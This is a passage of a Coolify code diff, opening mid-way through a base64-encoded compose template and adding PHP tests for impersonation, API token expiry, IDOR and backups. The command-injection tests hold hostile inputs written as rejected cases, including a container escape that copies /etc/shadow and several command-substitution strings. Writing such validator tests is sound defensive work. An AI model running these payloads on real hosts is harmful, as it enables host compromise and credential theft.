1BSUxfRlJPTV9OQU1FPSRFTUFJTF9GUk9NX05BTUUKICAgICAgLSBFTUFJTF9TWVNURU1fQUREUkVTUz0kRU1BSUxfU1lTVEVNX0FERFJFU1MKICAgICAgLSAnRU1BSUxfRFJJVkVSPSR7RU1BSUxfRFJJVkVSOi1sb2dnZXJ9JwogICAgICAtIEVNQUlMX1NNVFBfSE9TVD0kRU1BSUxfU01UUF9IT1NUCiAgICAgIC0gRU1BSUxfU01UUF9QT1JUPSRFTUFJTF9TTVRQX1BPUlQKICAgICAgLSBFTUFJTF9TTVRQX1VTRVI9JEVNQUlMX1NNVFBfVVNFUgogICAgICAtIEVNQUlMX1NNVFBfUEFTU1dPUkQ9JEVNQUlMX1NNVFBfUEFTU1dPUkQKICAgICAgLSBTSUdOX0lOX1BSRUZJTExFRD1mYWxzZQogICAgICAtICdERUJVR19NT0RFPSR7REVCVUdfTU9ERTotZmFsc2V9JwogICAgICAtICdURUxFTUVUUllfRU5BQkxFRD0ke1RFTEVNRVRSWV9FTkFCTEVEOi1mYWxzZX0nCiAgICB2b2x1bWVzOgogICAgICAtICd0d2VudHktbG9jYWwtc3RvcmFnZTovYXBwL3BhY2thZ2VzL3R3ZW50eS1zZXJ2ZXIvLmxvY2FsLXN0b3JhZ2UnCiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRAogICAgICAgIC0gY3VybAogICAgICAgIC0gJy1mJwogICAgICAgIC0gJ2h0dHA6Ly8xMjcuMC4wLjE6MzAwMC9oZWFsdGh6JwogICAgICBpbnRlcnZhbDogMnMKICAgICAgdGltZW91dDogNXMKICAgICAgcmV0cmllczogMTAKICAgICAgc3RhcnRfcGVyaW9kOiAzMHMKICAgIGRlcGVuZHNfb246CiAgICAgIHBvc3RncmVzOgogICAgICAgIGNvbmRpdGlvbjogc2VydmljZV9oZWFsdGh5CiAgd29ya2VyOgogICAgaW1hZ2U6ICd0d2VudHljcm0vdHdlbnR5OnYxLjE1JwogICAgY29tbWFuZDoKICAgICAgLSB5YXJuCiAgICAgIC0gJ3dvcmtlcjpwcm9kJwogICAgdm9sdW1lczoKICAgICAgLSAndHdlbnR5LWxvY2FsLXN0b3JhZ2U6L2FwcC9wYWNrYWdlcy90d2VudHktc2VydmVyLy5sb2NhbC1zdG9yYWdlJwogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gU0VSVklDRV9GUUROX1RXRU5UWV8zMDAwCiAgICAgIC0gJ1NFUlZFUl9VUkw9JHtTRVJWSUNFX0ZRRE5fVFdFTlRZfScKICAgICAgLSAnRlJPTlRfQkFTRV9VUkw9JHtTRVJWSUNFX0ZRRE5fVFdFTlRZfScKICAgICAgLSAnQVBQX1NFQ1JFVD0ke1NFUlZJQ0VfQkFTRTY0XzMyX1NFQ1JFVH0nCiAgICAgIC0gRU5BQkxFX0RCX01JR1JBVElPTlM9dHJ1ZQogICAgICAtICdDQUNIRV9TVE9SQUdFX1RZUEU9JHtDQUNIRV9TVE9SQUdFX1RZUEU6LXJlZGlzfScKICAgICAgLSAnUkVESVNfVVJMPXJlZGlzOi8vcmVkaXM6NjM3OScKICAgICAgLSAnQVBJX1JBVEVfTElNSVRJTkdfVFRMPSR7QVBJX1JBVEVfTElNSVRJTkdfVFRMOi0xMDB9JwogICAgICAtICdBUElfUkFURV9MSU1JVElOR19MSU1JVD0ke0FQSV9SQVRFX0xJTUlUSU5HX0xJTUlUOi0xMDB9JwogICAgICAtICdQT1NUR1JFU19BRE1JTl9QQVNTV09SRD0ke1NFUlZJQ0VfUEFTU1dPUkRfUE9TVEdSRVN9JwogICAgICAtICdQR19EQVRBQkFTRV9VUkw9cG9zdGdyZXM6Ly8ke1NFUlZJQ0VfVVNFUl9QT1NUR1JFU306JHtTRVJWSUNFX1BBU1NXT1JEX1BPU1RHUkVTfUBwb3N0Z3Jlczo1NDMyLyR7UE9TVEdSRVNfREI6LXR3ZW50eS1kYn0nCiAgICAgIC0gJ0lTX1NJR05fVVBfRElTQUJMRUQ9JHtJU19TSUdOX1VQX0RJU0FCTEVEOi1mYWxzZX0nCiAgICAgIC0gJ1BBU1NXT1JEX1JFU0VUX1RPS0VOX0VYUElSRVNfSU49JHtQQVNTV09SRF9SRVNFVF9UT0tFTl9FWFBJUkVTX0lOOi01bX0nCiAgICAgIC0gJ1dPUktTUEFDRV9JTkFDVElWRV9EQVlTX0JFRk9SRV9OT1RJRklDQVRJT049JHtXT1JLU1BBQ0VfSU5BQ1RJVkVfREFZU19CRUZPUkVfTk9USUZJQ0FUSU9OOi03fScKICAgICAgLSAnV09SS1NQQUNFX0lOQUNUSVZFX0RBWVNfQkVGT1JFX0RFTEVUSU9OPSR7V09SS1NQQUNFX0lOQUNUSVZFX0RBWVNfQkVGT1JFX0RFTEVUSU9OOi0yMX0nCiAgICAgIC0gJ1NUT1JBR0VfVFlQRT0ke1NUT1JBR0VfVFlQRTotbG9jYWx9JwogICAgICAtIFNUT1JBR0VfUzNfUkVHSU9OPSRTVE9SQUdFX1MzX1JFR0lPTgogICAgICAtIFNUT1JBR0VfUzNfTkFNRT0kU1RPUkFHRV9TM19OQU1FCiAgICAgIC0gU1RPUkFHRV9TM19FTkRQT0lOVD0kU1RPUkFHRV9TM19FTkRQT0lOVAogICAgICAtIFNUT1JBR0VfUzNfQUNDRVNTX0tFWV9JRD0kU1RPUkFHRV9TM19BQ0NFU1NfS0VZX0lECiAgICAgIC0gU1RPUkFHRV9TM19TRUNSRVRfQUNDRVNTX0tFWT0kU1RPUkFHRV9TM19TRUNSRVRfQUNDRVNTX0tFWQogICAgICAtICdNRVNTQUdFX1FVRVVFX1RZUEU9JHtNRVNTQUdFX1FVRVVFX1RZUEU6LXBnLWJvc3N9JwogICAgICAtIEVNQUlMX0ZST01fQUREUkVTUz0kRU1BSUxfRlJPTV9BRERSRVNTCiAgICAgIC0gRU1BSUxfRlJPTV9OQU1FPSRFTUFJTF9GUk9NX05BTUUKICAgICAgLSBFTUFJTF9TWVNURU1fQUREUkVTUz0kRU1BSUxfU1lTVEVNX0FERFJFU1MKICAgICAgLSAnRU1BSUxfRFJJVkVSPSR7RU1BSUxfRFJJVkVSOi1sb2dnZXJ9JwogICAgICAtIEVNQUlMX1NNVFBfSE9TVD0kRU1BSUxfU01UUF9IT1NUCiAgICAgIC0gRU1BSUxfU01UUF9QT1JUPSRFTUFJTF9TTVRQX1BPUlQKICAgICAgLSBFTUFJTF9TTVRQX1VTRVI9JEVNQUlMX1NNVFBfVVNFUgogICAgICAtIEVNQUlMX1NNVFBfUEFTU1dPUkQ9JEVNQUlMX1NNVFBfUEFTU1dPUkQKICAgICAgLSBTSUdOX0lOX1BSRUZJTExFRD1mYWxzZQogICAgICAtICdERUJVR19NT0RFPSR7REVCVUdfTU9ERTotZmFsc2V9JwogICAgICAtICdURUxFTUVUUllfRU5BQkxFRD0ke1RFTEVNRVRSWV9FTkFCTEVEOi1mYWxzZX0nCiAgICAgIC0gRElTQUJMRV9EQl9NSUdSQVRJT05TPXRydWUKICAgICAgLSBESVNBQkxFX0NST05fSk9CU19SRUdJU1RSQVRJT049dHJ1ZQogICAgZGVwZW5kc19vbjoKICAgICAgdHdlbnR5OgogICAgICAgIGNvbmRpdGlvbjogc2VydmljZV9oZWFsdGh5CiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRC1TSEVMTAogICAgICAgIC0gInBzIGF1eCB8IGdyZXAgJ2Rpc3QvcXVldWUtd29ya2VyL3F1ZXVlLXdvcmtlcicgfCBncmVwIC12IGdyZXAgfHwgZXhpdCAxIgogICAgICBpbnRlcnZhbDogMzBzCiAgICAgIHRpbWVvdXQ6IDVzCiAgICAgIHJldHJpZXM6IDMKICAgICAgc3RhcnRfcGVyaW9kOiAzMHMKICBwb3N0Z3JlczoKICAgIGltYWdlOiAncG9zdGdyZXM6MTYtYWxwaW5lJwogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gJ1BPU1RHUkVTX1VTRVI9JHtTRVJWSUNFX1VTRVJfUE9TVEdSRVN9JwogICAgICAtICdQT1NUR1JFU19QQVNTV09SRD0ke1NFUlZJQ0VfUEFTU1dPUkRfUE9TVEdSRVN9JwogICAgICAtICdQT1NUR1JFU19EQj0ke1BPU1RHUkVTX0RCOi10d2VudHktZGJ9JwogICAgdm9sdW1lczoKICAgICAgLSAncG9zdGdyZXMtZGF0YTovdmFyL2xpYi9wb3N0Z3Jlc3FsL2RhdGEnCiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRC1TSEVMTAogICAgICAgIC0gJ3BnX2lzcmVhZHkgLVUgJCR7UE9TVEdSRVNfVVNFUn0gLWQgJCR7UE9TVEdSRVNfREJ9JwogICAgICBpbnRlcnZhbDogNXMKICAgICAgdGltZW91dDogMjBzCiAgICAgIHJldHJpZXM6IDEwCiAgcmVkaXM6CiAgICBpbWFnZTogJ3JlZGlzOjctYWxwaW5lJwogICAgdm9sdW1lczoKICAgICAgLSAncmVkaXMtZGF0YTovZGF0YScKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ECiAgICAgICAgLSByZWRpcy1jbGkKICAgICAgICAtIHBpbmcKICAgICAgaW50ZXJ2YWw6IDVzCiAgICAgIHRpbWVvdXQ6IDIwcwogICAgICByZXRyaWVzOiAxMAo=", "tags": [ "crm", "self-hosted", diff --git a/tests/Feature/AdminAccessAuthorizationTest.php b/tests/Feature/AdminAccessAuthorizationTest.php index 4840bc4dd..97895ecda 100644 --- a/tests/Feature/AdminAccessAuthorizationTest.php +++ b/tests/Feature/AdminAccessAuthorizationTest.php @@ -1,6 +1,7 @@ set('constants.coolify.self_hosted', false); - $rootTeam = Team::find(0) ?? Team::factory()->create(['id' => 0]); + InstanceSettings::unguarded(fn () => InstanceSettings::query()->create(['id' => 0])); $rootUser = User::factory()->create(['id' => 0]); - $rootTeam->members()->attach($rootUser->id, ['role' => 'admin']); + $rootTeam = Team::find(0); $targetUser = User::factory()->create(); $targetTeam = Team::factory()->create(); @@ -84,7 +85,47 @@ Livewire::test(AdminIndex::class) ->assertOk() ->call('switchUser', $targetUser->id) - ->assertRedirect(); + ->assertRedirect(route('dashboard')); +}); + +test('back() redirects impersonator to admin index and clears session', function () { + config()->set('constants.coolify.self_hosted', false); + + InstanceSettings::unguarded(fn () => InstanceSettings::query()->create(['id' => 0])); + $rootUser = User::factory()->create(['id' => 0]); + $rootTeam = Team::find(0); + + $this->actingAs($rootUser); + session([ + 'currentTeam' => ['id' => $rootTeam->id], + 'impersonating' => true, + ]); + + Livewire::test(AdminIndex::class) + ->call('back') + ->assertRedirect(route('admin.index')); + + expect(session('impersonating'))->toBeNull(); +}); + +test('switchUser ignores Referer header and uses dashboard route', function () { + config()->set('constants.coolify.self_hosted', false); + + InstanceSettings::unguarded(fn () => InstanceSettings::query()->create(['id' => 0])); + $rootUser = User::factory()->create(['id' => 0]); + $rootTeam = Team::find(0); + + $targetUser = User::factory()->create(); + $targetTeam = Team::factory()->create(); + $targetTeam->members()->attach($targetUser->id, ['role' => 'admin']); + + $this->actingAs($rootUser); + session(['currentTeam' => ['id' => $rootTeam->id]]); + + Livewire::withHeaders(['Referer' => 'https://example.com/elsewhere']) + ->test(AdminIndex::class) + ->call('switchUser', $targetUser->id) + ->assertRedirect(route('dashboard')); }); test('switchUser rejects non-root user', function () { diff --git a/tests/Feature/ApiTokenExpirationTest.php b/tests/Feature/ApiTokenExpirationTest.php new file mode 100644 index 000000000..99a952848 --- /dev/null +++ b/tests/Feature/ApiTokenExpirationTest.php @@ -0,0 +1,81 @@ +team = Team::factory()->create(); + $this->user = User::factory()->create(); + $this->team->members()->attach($this->user->id, ['role' => 'owner']); + + session(['currentTeam' => $this->team]); + $this->actingAs($this->user); +}); + +describe('token creation with expiration', function () { + test('livewire component stores expires_at when expiresInDays set', function () { + Livewire::test(ApiTokens::class) + ->set('description', 'test-token') + ->set('expiresInDays', 7) + ->set('permissions', ['read']) + ->call('addNewToken') + ->assertHasNoErrors(); + + $token = $this->user->tokens()->latest()->first(); + + expect($token)->not->toBeNull() + ->and($token->expires_at)->not->toBeNull() + ->and($token->expires_at->diffInDays(now()))->toBeGreaterThanOrEqual(6) + ->and($token->expires_at->diffInDays(now()))->toBeLessThanOrEqual(7); + }); + + test('livewire component stores null expires_at when expiresInDays null (Never)', function () { + Livewire::test(ApiTokens::class) + ->set('description', 'never-token') + ->set('expiresInDays', null) + ->set('permissions', ['read']) + ->call('addNewToken') + ->assertHasNoErrors(); + + $token = $this->user->tokens()->latest()->first(); + + expect($token)->not->toBeNull() + ->and($token->expires_at)->toBeNull(); + }); + + test('livewire component rejects invalid expiresInDays value', function () { + Livewire::test(ApiTokens::class) + ->set('description', 'bad-token') + ->set('expiresInDays', 42) + ->set('permissions', ['read']) + ->call('addNewToken') + ->assertHasErrors('expiresInDays'); + }); +}); + +describe('expired token rejected on API', function () { + test('request with expired token returns 401', function () { + $token = $this->user->createToken('expired', ['read'], now()->subDay()); + + $response = $this->withHeaders([ + 'Authorization' => 'Bearer '.$token->plainTextToken, + ])->getJson('/api/v1/projects'); + + $response->assertStatus(401); + }); + + test('request with non-expired token works', function () { + $token = $this->user->createToken('valid', ['read'], now()->addDay()); + + $response = $this->withHeaders([ + 'Authorization' => 'Bearer '.$token->plainTextToken, + ])->getJson('/api/v1/projects'); + + $response->assertStatus(200); + }); +}); diff --git a/tests/Feature/ApiTokenExpirationWarningTest.php b/tests/Feature/ApiTokenExpirationWarningTest.php new file mode 100644 index 000000000..5255581dd --- /dev/null +++ b/tests/Feature/ApiTokenExpirationWarningTest.php @@ -0,0 +1,83 @@ +team = Team::factory()->create(); + $this->user = User::factory()->create(); + $this->team->members()->attach($this->user->id, ['role' => 'owner']); + $this->team->emailNotificationSettings()->update(['use_instance_email_settings' => true]); + $this->team->discordNotificationSettings()->update([ + 'discord_enabled' => true, + 'discord_webhook_url' => 'https://discord.com/api/webhooks/fake/fake', + ]); + + session(['currentTeam' => $this->team]); + $this->actingAs($this->user); + + Cache::flush(); + Notification::fake(); +}); + +function createTokenExpiring(User $user, Team $team, ?Carbon $expiresAt): PersonalAccessToken +{ + $plain = $user->createToken('t-'.uniqid(), ['read'], $expiresAt); + $token = $plain->accessToken; + $token->team_id = $team->id; + $token->save(); + + return $token->fresh(); +} + +describe('ApiTokenExpirationWarningJob', function () { + test('notifies team when token expires within 24h', function () { + createTokenExpiring($this->user, $this->team, now()->addHours(23)); + + (new ApiTokenExpirationWarningJob)->handle(); + + Notification::assertSentTo($this->team, ApiTokenExpiringNotification::class); + }); + + test('rate limiter prevents duplicate warnings on repeat runs', function () { + createTokenExpiring($this->user, $this->team, now()->addHours(12)); + + (new ApiTokenExpirationWarningJob)->handle(); + (new ApiTokenExpirationWarningJob)->handle(); + + Notification::assertSentToTimes($this->team, ApiTokenExpiringNotification::class, 1); + }); + + test('skips tokens expiring more than 24h out', function () { + createTokenExpiring($this->user, $this->team, now()->addDays(3)); + + (new ApiTokenExpirationWarningJob)->handle(); + + Notification::assertNothingSent(); + }); + + test('skips already-expired tokens', function () { + createTokenExpiring($this->user, $this->team, now()->subHour()); + + (new ApiTokenExpirationWarningJob)->handle(); + + Notification::assertNothingSent(); + }); + + test('skips tokens with null expires_at', function () { + createTokenExpiring($this->user, $this->team, null); + + (new ApiTokenExpirationWarningJob)->handle(); + + Notification::assertNothingSent(); + }); +}); diff --git a/tests/Feature/ApplicationPreviewApiTest.php b/tests/Feature/ApplicationPreviewApiTest.php new file mode 100644 index 000000000..bc405d48b --- /dev/null +++ b/tests/Feature/ApplicationPreviewApiTest.php @@ -0,0 +1,132 @@ + InstanceSettings::firstOrCreate(['id' => 0])); + + $this->team = Team::factory()->create(); + $this->user = User::factory()->create(); + $this->team->members()->attach($this->user->id, ['role' => 'owner']); + + $this->bearerToken = createTeamApiToken($this->user, $this->team, ['*']); + + $this->server = Server::factory()->create(['team_id' => $this->team->id]); + $this->destination = StandaloneDocker::where('server_id', $this->server->id)->first(); + $this->project = Project::factory()->create(['team_id' => $this->team->id]); + $this->environment = Environment::factory()->create(['project_id' => $this->project->id]); + + $this->application = Application::factory()->create([ + 'environment_id' => $this->environment->id, + 'destination_id' => $this->destination->id, + 'destination_type' => $this->destination->getMorphClass(), + ]); + + CleanupPreviewDeployment::shouldRun()->andReturn([ + 'cancelled_deployments' => 0, + 'killed_containers' => 0, + 'status' => 'success', + ]); +}); + +function previewAuthHeaders(string $bearerToken): array +{ + return [ + 'Authorization' => 'Bearer '.$bearerToken, + 'Content-Type' => 'application/json', + ]; +} + +function createTeamApiToken(User $user, Team $team, array $abilities): string +{ + $plainTextToken = Str::random(40); + $token = $user->tokens()->create([ + 'name' => 'test-token-'.Str::random(6), + 'token' => hash('sha256', $plainTextToken), + 'abilities' => $abilities, + 'team_id' => $team->id, + ]); + + return $token->getKey().'|'.$plainTextToken; +} + +function createPreview(Application $application, int $pullRequestId): ApplicationPreview +{ + return ApplicationPreview::create([ + 'uuid' => (string) new Cuid2, + 'application_id' => $application->id, + 'pull_request_id' => $pullRequestId, + 'pull_request_html_url' => "https://github.com/example/repo/pull/{$pullRequestId}", + 'fqdn' => "pr-{$pullRequestId}.example.com", + ]); +} + +describe('DELETE /api/v1/applications/{uuid}/previews/{pull_request_id}', function () { + test('returns 401 when no bearer token provided', function () { + $response = $this->deleteJson("/api/v1/applications/{$this->application->uuid}/previews/42"); + + $response->assertUnauthorized(); + }); + + test('returns 404 when application uuid does not exist', function () { + $response = $this->withHeaders(previewAuthHeaders($this->bearerToken)) + ->deleteJson('/api/v1/applications/nonexistent-uuid/previews/42'); + + $response->assertNotFound() + ->assertJson(['message' => 'Application not found.']); + }); + + test('returns 404 when preview does not exist for the application', function () { + $response = $this->withHeaders(previewAuthHeaders($this->bearerToken)) + ->deleteJson("/api/v1/applications/{$this->application->uuid}/previews/9999"); + + $response->assertNotFound() + ->assertJson(['message' => 'Preview not found.']); + }); + + test('returns 422 when pull_request_id is not a positive integer', function () { + $response = $this->withHeaders(previewAuthHeaders($this->bearerToken)) + ->deleteJson("/api/v1/applications/{$this->application->uuid}/previews/0"); + + $response->assertStatus(422) + ->assertJson(['message' => 'Invalid pull_request_id.']); + }); + + test('soft-deletes the preview and returns 200 on success', function () { + $preview = createPreview($this->application, 42); + + $response = $this->withHeaders(previewAuthHeaders($this->bearerToken)) + ->deleteJson("/api/v1/applications/{$this->application->uuid}/previews/42"); + + $response->assertOk() + ->assertJson(['message' => 'Preview deletion request queued.']); + + expect($preview->fresh()->trashed())->toBeTrue(); + }); + + test('returns 403 when token lacks write ability', function () { + $readOnlyToken = createTeamApiToken($this->user, $this->team, ['read']); + createPreview($this->application, 7); + + $response = $this->withHeaders(previewAuthHeaders($readOnlyToken)) + ->deleteJson("/api/v1/applications/{$this->application->uuid}/previews/7"); + + $response->assertForbidden(); + }); +}); diff --git a/tests/Feature/CommandInjectionSecurityTest.php b/tests/Feature/CommandInjectionSecurityTest.php index bbd69ecfe..d42a8490a 100644 --- a/tests/Feature/CommandInjectionSecurityTest.php +++ b/tests/Feature/CommandInjectionSecurityTest.php @@ -414,7 +414,7 @@ expect($validator->fails())->toBeTrue(); }); - test('rejects single quotes in docker_compose_custom_start_command', function () { + test('allows single-quoted arguments in docker_compose_custom_start_command', function () { $rules = sharedDataApplications(); $validator = validator( @@ -422,7 +422,7 @@ ['docker_compose_custom_start_command' => $rules['docker_compose_custom_start_command']] ); - expect($validator->fails())->toBeTrue(); + expect($validator->fails())->toBeFalse(); }); test('allows double quotes in docker_compose_custom_start_command', function () { @@ -474,6 +474,127 @@ expect($method->invoke($instance, 'docker compose up -d --build', 'docker_compose_custom_start_command')) ->toBe('docker compose up -d --build'); }); + + test('rejects bare ampersand PoC payload (GHSA-chg4-63hm-xv9x)', function () { + $rules = sharedDataApplications(); + $payload = 'true & docker run --rm -v /:/h alpine sh -c "cp /h/etc/shadow /h/tmp/leak"'; + + $validator = validator( + ['docker_compose_custom_start_command' => $payload], + ['docker_compose_custom_start_command' => $rules['docker_compose_custom_start_command']] + ); + + expect($validator->fails())->toBeTrue(); + }); + + test('rejects bare ampersand across every shell-safe field', function ($field) { + $rules = sharedDataApplications(); + + $validator = validator( + [$field => 'cmd1 & cmd2'], + [$field => $rules[$field]] + ); + + expect($validator->fails())->toBeTrue(); + })->with([ + 'install_command', + 'build_command', + 'start_command', + 'docker_compose_custom_build_command', + 'docker_compose_custom_start_command', + 'custom_docker_run_options', + ]); + + test('rejects command substitution inside double quotes', function ($payload) { + $rules = sharedDataApplications(); + + $validator = validator( + ['build_command' => "echo $payload"], + ['build_command' => $rules['build_command']] + ); + + expect($validator->fails())->toBeTrue(); + })->with(['"$(whoami)"', '"`whoami`"']); + + test('rejects unbalanced quotes', function ($payload) { + $rules = sharedDataApplications(); + + $validator = validator( + ['build_command' => $payload], + ['build_command' => $rules['build_command']] + ); + + expect($validator->fails())->toBeTrue(); + })->with(['echo "unterminated', "echo 'unterminated"]); + + test('rejects backslash anywhere', function ($payload) { + $rules = sharedDataApplications(); + + $validator = validator( + ['build_command' => $payload], + ['build_command' => $rules['build_command']] + ); + + expect($validator->fails())->toBeTrue(); + })->with(['echo \\;', 'echo \\$HOME']); + + test('runtime validateShellSafeCommand rejects bare ampersand payload', function () { + $job = new ReflectionClass(ApplicationDeploymentJob::class); + $method = $job->getMethod('validateShellSafeCommand'); + $method->setAccessible(true); + + $instance = $job->newInstanceWithoutConstructor(); + + expect(fn () => $method->invoke($instance, 'true & whoami', 'docker_compose_custom_start_command')) + ->toThrow(RuntimeException::class, 'contains forbidden shell characters'); + }); + + test('allows logical OR chaining', function ($cmd) { + $rules = sharedDataApplications(); + + $validator = validator( + ['build_command' => $cmd], + ['build_command' => $rules['build_command']] + ); + + expect($validator->fails())->toBeFalse(); + })->with([ + 'make build || make clean', + 'npm run build || npm run fallback', + 'cmd-a || cmd-b && cmd-c', + ]); + + test('allows glob and bang tokens', function ($cmd) { + $rules = sharedDataApplications(); + + $validator = validator( + ['build_command' => $cmd], + ['build_command' => $rules['build_command']] + ); + + expect($validator->fails())->toBeFalse(); + })->with([ + 'rm *.tmp', + 'cp src/?.js dist/', + '! grep -q foo && echo missing', + 'docker build --tag app-v1!', + ]); + + test('rejects bare pipe even though || is allowed', function ($cmd) { + $rules = sharedDataApplications(); + + $validator = validator( + ['build_command' => $cmd], + ['build_command' => $rules['build_command']] + ); + + expect($validator->fails())->toBeTrue(); + })->with([ + 'cmd | cat', + 'cmd|cat', + 'a |b', + 'a| b', + ]); }); describe('custom_docker_run_options validation', function () { @@ -676,7 +797,7 @@ }); }); -describe('install/build/start command validation (GHSA-9pp4-wcmj-rq73)', function () { +describe('install/build/start command validation', function () { test('rejects semicolon injection in install_command', function () { $rules = sharedDataApplications(); diff --git a/tests/Feature/CrossTeamIdorServerProjectTest.php b/tests/Feature/CrossTeamIdorServerProjectTest.php index 671397a1e..90e54f053 100644 --- a/tests/Feature/CrossTeamIdorServerProjectTest.php +++ b/tests/Feature/CrossTeamIdorServerProjectTest.php @@ -1,15 +1,19 @@ $this->teamA]); }); -describe('Boarding Server IDOR (GHSA-qfcc-2fm3-9q42)', function () { +describe('Boarding Server IDOR', function () { test('boarding mount cannot load server from another team via selectedExistingServer', function () { $component = Livewire::test(BoardingIndex::class, [ 'selectedServerType' => 'remote', @@ -62,7 +66,7 @@ }); }); -describe('Boarding Project IDOR (GHSA-qfcc-2fm3-9q42)', function () { +describe('Boarding Project IDOR', function () { test('boarding mount cannot load project from another team via selectedProject', function () { $component = Livewire::test(BoardingIndex::class, [ 'selectedProject' => $this->projectB->id, @@ -91,7 +95,7 @@ }); }); -describe('GlobalSearch Server IDOR (GHSA-qfcc-2fm3-9q42)', function () { +describe('GlobalSearch Server IDOR', function () { test('loadDestinations cannot access server from another team', function () { $component = Livewire::test(GlobalSearch::class) ->set('selectedServerId', $this->serverB->id) @@ -102,7 +106,7 @@ }); }); -describe('GlobalSearch Project IDOR (GHSA-qfcc-2fm3-9q42)', function () { +describe('GlobalSearch Project IDOR', function () { test('loadEnvironments cannot access project from another team', function () { $component = Livewire::test(GlobalSearch::class) ->set('selectedProjectUuid', $this->projectB->uuid) @@ -113,11 +117,11 @@ }); }); -describe('DeleteProject IDOR (GHSA-qfcc-2fm3-9q42)', function () { +describe('DeleteProject IDOR', function () { test('cannot mount DeleteProject with project from another team', function () { // Should throw ModelNotFoundException (404) because team-scoped query won't find it Livewire::test(DeleteProject::class, ['project_id' => $this->projectB->id]); - })->throws(\Illuminate\Database\Eloquent\ModelNotFoundException::class); + })->throws(ModelNotFoundException::class); test('can mount DeleteProject with own team project', function () { $component = Livewire::test(DeleteProject::class, ['project_id' => $this->projectA->id]); @@ -126,14 +130,14 @@ }); }); -describe('CloneMe Project IDOR (GHSA-qfcc-2fm3-9q42)', function () { +describe('CloneMe Project IDOR', function () { test('cannot mount CloneMe with project UUID from another team', function () { // Should throw ModelNotFoundException because team-scoped query won't find it Livewire::test(CloneMe::class, [ 'project_uuid' => $this->projectB->uuid, 'environment_uuid' => $this->environmentB->uuid, ]); - })->throws(\Illuminate\Database\Eloquent\ModelNotFoundException::class); + })->throws(ModelNotFoundException::class); test('can mount CloneMe with own team project UUID', function () { $component = Livewire::test(CloneMe::class, [ @@ -145,27 +149,27 @@ }); }); -describe('DeployController API Server IDOR (GHSA-qfcc-2fm3-9q42)', function () { +describe('DeployController API Server IDOR', function () { test('deploy cancel API cannot access build server from another team', function () { // Create a deployment queue entry that references Team B's server as build_server - $application = \App\Models\Application::factory()->create([ + $application = Application::factory()->create([ 'environment_id' => $this->environmentA->id, 'destination_id' => StandaloneDocker::factory()->create(['server_id' => $this->serverA->id])->id, 'destination_type' => StandaloneDocker::class, ]); - $deployment = \App\Models\ApplicationDeploymentQueue::create([ + $deployment = ApplicationDeploymentQueue::create([ 'application_id' => $application->id, - 'deployment_uuid' => 'test-deploy-' . fake()->uuid(), + 'deployment_uuid' => 'test-deploy-'.fake()->uuid(), 'server_id' => $this->serverA->id, 'build_server_id' => $this->serverB->id, // Cross-team build server - 'status' => \App\Enums\ApplicationDeploymentStatus::IN_PROGRESS->value, + 'status' => ApplicationDeploymentStatus::IN_PROGRESS->value, ]); $token = $this->userA->createToken('test-token', ['*']); $response = $this->withHeaders([ - 'Authorization' => 'Bearer ' . $token->plainTextToken, + 'Authorization' => 'Bearer '.$token->plainTextToken, ])->deleteJson("/api/v1/deployments/{$deployment->deployment_uuid}"); // The cancellation should proceed but the build_server should NOT be found @@ -176,7 +180,7 @@ // Verify the deployment was cancelled $deployment->refresh(); expect($deployment->status)->toBe( - \App\Enums\ApplicationDeploymentStatus::CANCELLED_BY_USER->value + ApplicationDeploymentStatus::CANCELLED_BY_USER->value ); }); }); diff --git a/tests/Feature/DatabaseBackupCreationApiTest.php b/tests/Feature/DatabaseBackupCreationApiTest.php index 893141de3..4588cf9de 100644 --- a/tests/Feature/DatabaseBackupCreationApiTest.php +++ b/tests/Feature/DatabaseBackupCreationApiTest.php @@ -1,5 +1,12 @@ 0]); + $this->team = Team::factory()->create(); $this->user = User::factory()->create(); $this->team->members()->attach($this->user->id, ['role' => 'owner']); - // Create an API token for the user - $this->token = $this->user->createToken('test-token', ['*'], $this->team->id); + session(['currentTeam' => $this->team]); + + $this->token = $this->user->createToken('test-token', ['*']); $this->bearerToken = $this->token->plainTextToken; - // Mock a database - we'll use Mockery to avoid needing actual database setup - $this->database = \Mockery::mock(StandalonePostgresql::class); - $this->database->shouldReceive('getAttribute')->with('id')->andReturn(1); - $this->database->shouldReceive('getAttribute')->with('uuid')->andReturn('test-db-uuid'); - $this->database->shouldReceive('getAttribute')->with('postgres_db')->andReturn('testdb'); - $this->database->shouldReceive('type')->andReturn('standalone-postgresql'); - $this->database->shouldReceive('getMorphClass')->andReturn('App\Models\StandalonePostgresql'); -}); + $this->server = Server::factory()->create(['team_id' => $this->team->id]); + $this->destination = StandaloneDocker::where('server_id', $this->server->id)->first(); + $this->project = Project::factory()->create(['team_id' => $this->team->id]); + $this->environment = Environment::factory()->create(['project_id' => $this->project->id]); -afterEach(function () { - \Mockery::close(); + $this->database = StandalonePostgresql::create([ + 'name' => 'test-postgres', + 'image' => 'postgres:15-alpine', + 'postgres_user' => 'postgres', + 'postgres_password' => 'password', + 'postgres_db' => 'testdb', + 'environment_id' => $this->environment->id, + 'destination_id' => $this->destination->id, + 'destination_type' => $this->destination->getMorphClass(), + ]); + + $this->s3Storage = S3Storage::create([ + 'name' => 'test-s3', + 'region' => 'us-east-1', + 'key' => 'test-key', + 'secret' => 'test-secret', + 'bucket' => 'test-bucket', + 'endpoint' => 'https://s3.example.com', + 'team_id' => $this->team->id, + 'is_usable' => true, + ]); }); describe('POST /api/v1/databases/{uuid}/backups', function () { - test('creates backup configuration with minimal required fields', function () { - // This is a unit-style test using mocks to avoid database dependency - // For full integration testing, this should be run inside Docker + test('creates backup with s3 storage via API token', function () { + $response = $this->withHeaders([ + 'Authorization' => 'Bearer '.$this->bearerToken, + 'Content-Type' => 'application/json', + ])->postJson("/api/v1/databases/{$this->database->uuid}/backups", [ + 'frequency' => '0 2 * * 0', + 'save_s3' => true, + 's3_storage_uuid' => $this->s3Storage->uuid, + 'enabled' => true, + ]); + + $response->assertStatus(201); + $response->assertJsonStructure(['uuid', 'message']); + + $backup = ScheduledDatabaseBackup::where('uuid', $response->json('uuid'))->first(); + expect($backup)->not->toBeNull(); + expect($backup->s3_storage_id)->toBe($this->s3Storage->id); + expect($backup->save_s3)->toBeTrue(); + expect($backup->team_id)->toBe($this->team->id); + 